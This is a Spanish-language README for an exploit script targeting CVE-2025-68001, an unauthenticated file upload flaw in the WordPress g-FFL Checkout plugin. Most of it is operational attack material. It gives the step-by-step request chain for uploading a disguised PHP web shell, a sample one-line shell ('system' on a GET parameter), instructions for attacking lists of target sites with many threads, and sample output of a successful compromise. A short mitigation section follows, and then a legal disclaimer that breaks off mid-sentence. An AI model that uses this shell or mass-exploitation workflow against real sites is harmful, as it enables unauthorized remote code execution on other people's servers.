CVE-2025-68001

El plugin g-FFL Checkout de WordPress <= 2.1.0 es vulnerable a una Subida Arbitraria de Archivos de alta prioridad

  _      _   _   _  _   _     _   _   _   _    
 / \  / |_ __ ) / \  ) |_ __ |_  (_) / \ / \ /|
 \_ \/  |_   /_ \_/ /_  _)   |_) (_) \_/ \_/  |
                                                 

📋 Resumen

CVE-2025-68001 es una vulnerabilidad crítica de Subida Arbitraria de Archivos sin Autenticación descubierta en el plugin g-FFL Checkout de WordPress por garidium.

La vulnerabilidad permite a un atacante remoto no autenticado subir archivos arbitrarios — incluidos web shells — al servidor objetivo a través de la acción AJAX ffl_upload_document, lo que conduce a una Ejecución Remota de Código (RCE) completa.

⚙️ Cómo Funciona

El exploit sigue una cadena de ataque precisa de múltiples pasos:

1. GET /checkout
      ↓
   Extract `checkout_nonce` from inline JavaScript data

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<extracted_nonce>
      document_type=document
      document=<shell.php disguised as image/png>
      ↓
   Server stores the file without extension or MIME validation

3. Parse JSON response
      ↓
   Extract uploaded file path / unique filename

4. Access uploaded shell via HTTP
      ↓
   Remote Code Execution achieved ✔️

El plugin expone un endpoint AJAX ffl_upload_document que:

• Acepta subidas de archivos sin comprobación de autenticación
• No realiza ninguna validación del tipo de archivo en el servidor
• Devuelve la ruta del archivo almacenado en su respuesta JSON

🔧 Requisitos

Instala todas las dependencias antes de ejecutar:

pip install requests rich

Se requiere Python 3.8+.

📂 Estructura de Archivos

CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

🚀 Uso

Paso 1 — Prepara tus Objetivos

Crea un archivo list.txt con una URL de objetivo por línea:

https://target1.com
https://target2.com
http://target3.com/wordpress

El script antepone automáticamente http:// si no se proporciona un esquema.

Paso 2 — Prepara tu Shell

Coloca tu web shell PHP en el mismo directorio. Ejemplo de shell mínima:

<?php system($_GET['cmd']); ?>

Guárdalo como shell.php (o cualquier otro nombre — se te pedirá que lo introduzcas).

Paso 3 — Ejecuta el Exploit

python CVE-2025-68001.py

Se te pedirá de forma interactiva:

Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

Paso 4 — Revisa los Resultados

Los exploits exitosos se guardan automáticamente en success_results.txt:

https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

Cada línea contiene:

• URL del objetivo
• Ruta del archivo almacenado en el servidor
• Nombre de archivo único asignado por el servidor
• Nombre del archivo original subido

🖥️ Referencia de Parámetros del Script

📊 Ejemplo de Salida

✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

All targets processed ✔️. Results saved to: success_results.txt

🔍 Ruta del Código Vulnerable (Técnico)

La vulnerabilidad reside en el manejador AJAX del plugin, registrado sin comprobaciones de capacidades:

// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

🛡️ Mitigación y Remediación

Si eres propietario de un sitio o desarrollador, toma las siguientes medidas de inmediato:

• ✅ Actualiza el plugin g-ffl-checkout a una versión parcheada (> 2.1.0) si está disponible
• ✅ Desactiva el plugin hasta que se confirme un parche
• ✅ Restringe los permisos de ejecución en los directorios de subida (p. ej., reglas .htaccess)
• ✅ Implementa validación del tipo de archivo en el servidor y una lista blanca estricta de extensiones
• ✅ Supervisa los directorios de subida en busca de archivos .php sospechosos
• ✅ Activa reglas de WAF para bloquear peticiones no autenticadas de subida de archivos por AJAX

⚠️ Aviso Legal

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.

By using this script, you explicitly agree to the following: